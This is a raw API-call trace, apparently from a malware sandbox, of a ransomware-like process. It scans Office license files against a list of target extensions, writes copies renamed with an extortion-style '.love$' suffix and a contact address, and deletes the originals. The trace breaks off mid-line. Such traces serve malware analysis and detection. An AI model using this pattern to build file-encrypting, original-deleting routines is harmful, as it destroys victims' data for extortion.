lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0255.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0255.541] lstrlenW (lpString=".1cd") returned 4 [0255.541] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0255.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0255.541] lstrlenW (lpString=".jpg") returned 4 [0255.541] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0255.541] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0255.541] lstrlenW (lpString="AccessR_Retail-ul-phn.xrm-ms") returned 28 [0255.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0255.542] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=19924) returned 1 [0255.543] CloseHandle (hObject=0x540) returned 1 [0255.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 0x220 [0255.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0255.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0255.543] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0255.543] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0255.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0255.545] GetLastError () returned 0x0 [0255.545] ReadFile (in: hFile=0x540, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x4dd4, lpOverlapped=0x0) returned 1 [0255.547] WriteFile (in: hFile=0x450, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x4de0, lpOverlapped=0x0) returned 1 [0255.548] ReadFile (in: hFile=0x540, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0255.548] WriteFile (in: hFile=0x450, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x10c, lpOverlapped=0x0) returned 1 [0255.548] SetEndOfFile (hFile=0x450) returned 1 [0255.549] CloseHandle (hObject=0x450) returned 1 [0255.549] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0255.549] SetEndOfFile (hFile=0x540) returned 1 [0255.552] CloseHandle (hObject=0x540) returned 1 [0255.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0255.552] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 1 [0255.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0255.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0255.553] lstrlenW (lpString=".doc") returned 4 [0255.553] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0255.553] lstrlenW (lpString=".docx") returned 5 [0255.553] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0255.553] lstrlenW (lpString=".pdf") returned 4 [0255.553] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0255.553] lstrlenW (lpString=".xls") returned 4 [0255.553] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0255.553] lstrlenW (lpString=".xlsx") returned 5 [0255.554] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0255.736] lstrlenW (lpString=".ppt") returned 4 [0255.736] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0255.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0255.736] lstrlenW (lpString=".zip") returned 4 [0255.736] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0255.736] lstrlenW (lpString=".rar") returned 4 [0255.736] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0255.736] lstrlenW (lpString=".bz2") returned 4 [0255.736] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0255.736] lstrlenW (lpString=".7z") returned 3 [0255.736] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0255.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0255.737] lstrlenW (lpString=".dbf") returned 4 [0255.737] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0255.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0255.737] lstrlenW (lpString=".1cd") returned 4 [0255.737] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0255.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0255.737] lstrlenW (lpString=".jpg") returned 4 [0255.737] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0255.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0255.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0255.737] lstrlenW (lpString=".doc") returned 4 [0255.737] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0255.737] lstrlenW (lpString=".docx") returned 5 [0255.737] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0255.737] lstrlenW (lpString=".pdf") returned 4 [0255.737] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0255.737] lstrlenW (lpString=".xls") returned 4 [0255.737] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0255.737] lstrlenW (lpString=".xlsx") returned 5 [0255.737] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0255.737] lstrlenW (lpString=".ppt") returned 4 [0255.737] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0255.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0255.737] lstrlenW (lpString=".zip") returned 4 [0255.738] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0255.738] lstrlenW (lpString=".rar") returned 4 [0255.738] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0255.738] lstrlenW (lpString=".bz2") returned 4 [0255.738] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0255.738] lstrlenW (lpString=".7z") returned 3 [0255.738] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0255.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0255.738] lstrlenW (lpString=".dbf") returned 4 [0255.738] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0255.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0255.738] lstrlenW (lpString=".1cd") returned 4 [0255.738] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0255.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0255.738] lstrlenW (lpString=".jpg") returned 4 [0255.738] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0255.738] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0255.738] lstrlenW (lpString="AccessR_Trial-ul-oob.xrm-ms") returned 27 [0255.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0257.018] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=11591) returned 1 [0257.019] CloseHandle (hObject=0x42c) returned 1 [0257.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 0x220 [0257.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0257.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0257.020] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.020] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0257.023] GetLastError () returned 0x0 [0257.023] ReadFile (in: hFile=0x42c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x2d47, lpOverlapped=0x0) returned 1 [0257.025] WriteFile (in: hFile=0x538, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2d50, lpOverlapped=0x0) returned 1 [0257.027] ReadFile (in: hFile=0x42c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0257.027] WriteFile (in: hFile=0x538, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x10a, lpOverlapped=0x0) returned 1 [0257.028] SetEndOfFile (hFile=0x538) returned 1 [0257.028] CloseHandle (hObject=0x538) returned 1 [0257.028] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.028] SetEndOfFile (hFile=0x42c) returned 1 [0257.033] CloseHandle (hObject=0x42c) returned 1 [0257.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0257.033] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 1 [0257.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0257.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0257.035] lstrlenW (lpString=".doc") returned 4 [0257.035] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0257.035] lstrlenW (lpString=".docx") returned 5 [0257.035] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0257.035] lstrlenW (lpString=".pdf") returned 4 [0257.035] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0257.035] lstrlenW (lpString=".xls") returned 4 [0257.035] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0257.035] lstrlenW (lpString=".xlsx") returned 5 [0257.035] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0257.035] lstrlenW (lpString=".ppt") returned 4 [0257.035] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0257.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0257.035] lstrlenW (lpString=".zip") returned 4 [0257.035] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0257.035] lstrlenW (lpString=".rar") returned 4 [0257.035] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0257.035] lstrlenW (lpString=".bz2") returned 4 [0257.035] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0257.035] lstrlenW (lpString=".7z") returned 3 [0257.035] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0257.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0257.036] lstrlenW (lpString=".dbf") returned 4 [0257.036] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0257.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0257.036] lstrlenW (lpString=".1cd") returned 4 [0257.036] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0257.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0257.036] lstrlenW (lpString=".jpg") returned 4 [0257.036] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0257.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0257.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0257.036] lstrlenW (lpString=".doc") returned 4 [0257.036] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0257.036] lstrlenW (lpString=".docx") returned 5 [0257.036] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0257.036] lstrlenW (lpString=".pdf") returned 4 [0257.036] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0257.036] lstrlenW (lpString=".xls") returned 4 [0257.036] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0257.036] lstrlenW (lpString=".xlsx") returned 5 [0257.036] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0257.036] lstrlenW (lpString=".ppt") returned 4 [0257.036] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0257.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0257.036] lstrlenW (lpString=".zip") returned 4 [0257.036] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0257.036] lstrlenW (lpString=".rar") returned 4 [0257.036] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0257.037] lstrlenW (lpString=".bz2") returned 4 [0257.037] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0257.037] lstrlenW (lpString=".7z") returned 3 [0257.037] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0257.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0257.037] lstrlenW (lpString=".dbf") returned 4 [0257.037] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0257.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0257.037] lstrlenW (lpString=".1cd") returned 4 [0257.037] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0257.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0257.037] lstrlenW (lpString=".jpg") returned 4 [0257.037] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0257.038] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0257.038] lstrlenW (lpString="AccessVL_MAK-ul-oob.xrm-ms") returned 26 [0257.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0257.039] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=11581) returned 1 [0257.039] CloseHandle (hObject=0x42c) returned 1 [0257.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 0x220 [0257.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0257.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0257.040] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.040] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0257.041] GetLastError () returned 0x0 [0257.041] ReadFile (in: hFile=0x42c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x2d3d, lpOverlapped=0x0) returned 1 [0257.043] WriteFile (in: hFile=0x538, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2d40, lpOverlapped=0x0) returned 1 [0257.045] ReadFile (in: hFile=0x42c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0257.045] WriteFile (in: hFile=0x538, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x108, lpOverlapped=0x0) returned 1 [0257.045] SetEndOfFile (hFile=0x538) returned 1 [0257.045] CloseHandle (hObject=0x538) returned 1 [0257.045] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.045] SetEndOfFile (hFile=0x42c) returned 1 [0257.051] CloseHandle (hObject=0x42c) returned 1 [0257.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0257.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 1 [0257.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0257.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0257.229] lstrlenW (lpString=".doc") returned 4 [0257.229] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0257.229] lstrlenW (lpString=".docx") returned 5 [0257.229] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0257.229] lstrlenW (lpString=".pdf") returned 4 [0257.229] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0257.229] lstrlenW (lpString=".xls") returned 4 [0257.229] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0257.229] lstrlenW (lpString=".xlsx") returned 5 [0257.229] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0257.229] lstrlenW (lpString=".ppt") returned 4 [0257.229] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0257.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0257.229] lstrlenW (lpString=".zip") returned 4 [0257.229] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0257.229] lstrlenW (lpString=".rar") returned 4 [0257.229] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0257.229] lstrlenW (lpString=".bz2") returned 4 [0257.229] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0257.229] lstrlenW (lpString=".7z") returned 3 [0257.229] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0257.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0257.229] lstrlenW (lpString=".dbf") returned 4 [0257.230] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0257.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0257.230] lstrlenW (lpString=".1cd") returned 4 [0257.230] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0257.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0257.230] lstrlenW (lpString=".jpg") returned 4 [0257.230] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0257.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0257.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0257.230] lstrlenW (lpString=".doc") returned 4 [0257.230] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0257.230] lstrlenW (lpString=".docx") returned 5 [0257.230] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0257.230] lstrlenW (lpString=".pdf") returned 4 [0257.230] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0257.230] lstrlenW (lpString=".xls") returned 4 [0257.230] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0257.230] lstrlenW (lpString=".xlsx") returned 5 [0257.230] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0257.230] lstrlenW (lpString=".ppt") returned 4 [0257.230] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0257.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0257.230] lstrlenW (lpString=".zip") returned 4 [0257.231] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0257.231] lstrlenW (lpString=".rar") returned 4 [0257.231] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0257.231] lstrlenW (lpString=".bz2") returned 4 [0257.231] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0257.231] lstrlenW (lpString=".7z") returned 3 [0257.231] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0257.231] lstrlenW (lpString="C:\\Program Files\\Microsoft 